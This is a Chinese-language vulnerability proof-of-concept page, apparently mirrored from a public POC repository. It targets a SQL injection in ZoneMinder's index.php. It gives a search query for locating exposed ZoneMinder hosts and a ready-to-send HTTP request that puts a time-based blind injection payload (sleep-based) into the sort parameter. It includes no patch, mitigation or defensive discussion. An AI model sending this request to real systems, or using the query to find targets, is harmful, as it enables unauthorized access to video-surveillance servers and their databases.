admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-28 09:10:33 +00:00
Code Issues Packages Projects Releases Wiki Activity
POC/wpoc/ZoneMinder/ZoneMinderindex存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

724 B
Raw Blame History

ZoneMinder index存在SQL注入漏洞

一、漏洞简介

ZoneMinder index存在SQL注入漏洞

二、影响版本

  • ZoneMinder

三、资产测绘

app="ZoneMinder"

1723565739853-847ffea8-1b37-4464-8fc9-d7eb118b9464.png

四、漏洞复现

GET /zm/index.php?sort=**if(now()=sysdate()%2Csleep(6)%2C0)**&order=desc&limit=20&view=request&request=watch&mid=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

更新: 2024-09-05 23:21:35
原文: https://www.yuque.com/xiaokp7/ocvun2/gore50bddk9vgsxg